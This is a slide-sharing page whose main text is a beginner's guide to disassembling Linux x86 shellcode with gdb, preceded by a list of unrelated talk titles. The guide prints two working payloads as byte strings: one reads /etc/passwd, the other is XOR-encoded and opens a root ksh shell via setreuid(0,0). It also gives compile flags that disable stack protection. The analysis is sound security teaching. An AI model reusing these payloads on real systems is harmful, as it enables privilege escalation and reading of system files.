Advanced Test Driven-Development @ php[tek] 2024
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piece
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdf
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 
Search Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfSearch Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdf
 

Linux Shellcode disassembling

  • 1. Linux x86 Reverse Engineering Basic guide of Shellcode Disassembling Harsh N. Daftary Sr. Security Researcher at CSPF Security Consultant at Trunkoz Technologies info@securityLabs.in Abstract:-Most of the Windows as well as Linux based programs contains bugs or security holes and/or errors. These bugs or error in program can be exploited in order to crash the program or make system do unwanted stuff Exploit usually attacks the program on Memory Corruption, Segmentation Dump, format string, Buffer overflow or something else. In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine. It is just a basic guide, not for l33t reverse engineers :) Introduction:Shellcode are not responsible for exploiting but to create a shell or execute something on victim system after exploiting the bug. Shellcode can execute almost all the functions that a independent program could. Execution of this code takes place after exploiting vulnerability.(usually) Importance : By just looking at shellcode we cannot say what it does, As hackers often uses various shellcodes along with their respective exploits We just believe what description of shellcode says and are ready to run it but, How can we trust it. It can do many other functions apart from what its description say and it can end up in compromising our own system, or create backdoor for shellcode author So the reverse Engineering Helps us to to get idea of working of the code. Basic idea about encryption and x86 structure is required. General Registers : 32 bits : EAX EBX ECX EDX 16 bits : AX BX CX DX 8 bits : AH AL BH BL CH CL DH EAX,AX,AH,AL : Called the Accumulator register. It is used for I/O port access, arithmetic, interrupt calls. Segment Registers : CS DS ES FS GS SS Segment registers hold the segment address of various items Index and Pointers: ESI EDI EBP EIP ESP idexes and pointer and the offset part of and address. They have various uses but each register has a specific function. Test System Specification : Linux Ubuntu 10.04 Intel i3 System Architecture: x86- 32 bit NASM assembled shellcode In this paper I would discuss Reverse Engineering of Two programs. 1. Simple program that reades /etc/passwd file 2. XOR encrypted shellcode that launches new shell ksh with setreuid (0,0)
  • 2. so we create breakpoint at this pointer and run so at point we hit our breakpoint that time we disassemble the program 1. Simple program that reads /etc/passwd file Shellcode: ( Download Link given in the end ) "x31xc0x99x52x68x2fx63x61x74x68x2fx62x69x6e x89xe3x52x68x73x73x77x64x68x2fx2fx70x61x68x 2fx65x74x63x89xe1xb0x0bx52x51x53x89xe1xcdx8 0" Now we create a simple program that will execute this code and Compile it using gcc –fno-stack-protector -z execstack code.c –o shellcode It will compile our code and program should work without any hindrance. Debugger Output: 0x0804a040 <+0>: xor eax,eax --- > It will xor eax with eax, it is used to make eax register 0 0x0804a042 <+2>: 0x0804a043 <+3>: cdq push edx 0x0804a044 <+4>: push 0x7461632f 0x0804a049 <+9>: push 0x7461632f 0x0804a04e <+14>: mov ebx,esp --- > Copies the data stored into esp into ebx = tac/ 0x0804a050 <+16>: push edx 0x0804a051 <+17>: push 0x64777373 0x0804a056 <+22>: push 0x61702f2f 0x0804a05b <+27>: push 0x6374652f 0x0804a060 <+32>: mov ecx,esp 0x0804a062 <+34>: mov al,0xb --- > loads AL register with (0xb)hex 0x0804a064 <+36>: push edx 0x0804a065 <+37>: push ecx 0x0804a066 <+38>: push ebx 0x0804a067 <+39>: mov ecx,esp --- > copy data stored in esp into ecx register Lets load our Program into Debugger Now we set the disassembling structure to intel. 0x0804a069 <+41>: int 0x80 --- > Makes a syscall by interrupt 80 0x0804a06b <+43>: add BYTE PTR [eax],al So now we have to stop just before execution so we create breakpoint at a place where program makes a syscall i.e. at address: 0x0804a069 Interrupt 80 makes a syscall with syscall number stored in eax register, as we can see by code: print /x $eax -->> $eax = 11 We need to find function that will start at syscall number 11 so under x86 structure we open : /usr/src/your linux header/arch/x86/include/asm/unistd_32.h Looking at our source code file we can find that the name of pointer in which we stored our shellcode is "code"
  • 3. 2. XOR enecrypted shellcode thats launches new shell ksh with setreuid (0,0) Shellcode : "xebx0dx5ex31xc9xb1x21x80x36x7cx46xe2xfaxeb x05xe8xeexffxffxffx16x3ax24x4dxa7x4dxb5xb1xfc x4dxaex16x77x24x2ex14x53x17x0fx14x14x53x1ex 15x12xf5x9fx2ex2fxf5x9dxb1xfc" This file contains list of functions against their syscall numbers So at 11th number we understand that program is calling "execve" Now we create a simple prorgam that will execute this code and Compile it using gcc –fno-stackp-protector -z execstack code.c –o shellcode Importance of this code it to compile our code without any hindrance. Manual of execve : Now lets examine values stored in other 32 bit registers Lets load our Program into Debugger Looking at our source code file we can find that the name of pointer in which we stored our shellcode is "code" creating breakpoint and analyzing ebx i.e. Second argument contains a hex number which converted into string as /bin/cat cat is Linux bash command used to read a file 3rd argument i.e. ecx register stores a location of file which "/bin/cat" will read so file is 0xbffff3d0: "/etc//passwd" Program will read /etc/passwd file and then will exit. 0x0804a047 <+7>: 0x0804a04a <+10>: 0x0804a04b <+11>: 0x0804a04d <+13>: xorb inc loop jmp $0x7c,(%esi) %esi 0x804a047 <code+7> 0x804a054 <code+20>
  • 4. Here this lines of code will xor decrypt all the commands till end with 0x7c and then will jump to 0x804a054 So now we create break point just after XOR decryption finishes and before it jumps to another memory location for further execution Syscall Number is 70 And Arguments are 0,0 /usr/src/your linux header/arch/x86/include/asm/unistd_32.h As we can compare disassembly output to the previous one, we can understand all the instructions after 0x0804a04d are now decrypted So basically XOR decryption is finished, Now we look at EIP +27 we see that Interrupt 80 is being called for syscall so we new create our new breakpoint there Just as Before EAX register contains Syscall Number EBX and ECX register contains Argument
  • 5. Here again we Have Syscall Number 11 that is execve function as we saw that last time. And EBX register contains hex data which we convert into string so we get /bin/ksh So Here 1st argument sets uid and 2nd argument sets gid Which in our case both are 0 Means the program here is trying to get the root access over system. Now lets create breakpoint where program calls interrupt 80 to make a syscall So it means This shellcode is going to first decode it self, then will try open another shell (KSH) located at /bin/ksh with root access If you find anything missing or have any suggestions feel free to contact me :) ~Regards, Harsh info@securitylabs.in PS : 1. Data associated with PUSH can be directly analyzed by converting hex into string, but that data/string will be Rightto-Left. 2. Location of unistd_32.h may be different. Using locate function may be helpful in finding it. This is just basic guide, Next paper will be in more detail. Reference : 1. Vivek ramchandran. 2. J prassanna and Hiren Shah for providing research platform. Shellcodes : 1. http://www.shellstorm.org/shellcode/files/shellcode-809.php 2. http://www.shellstorm.org/shellcode/files/shellcode-571.php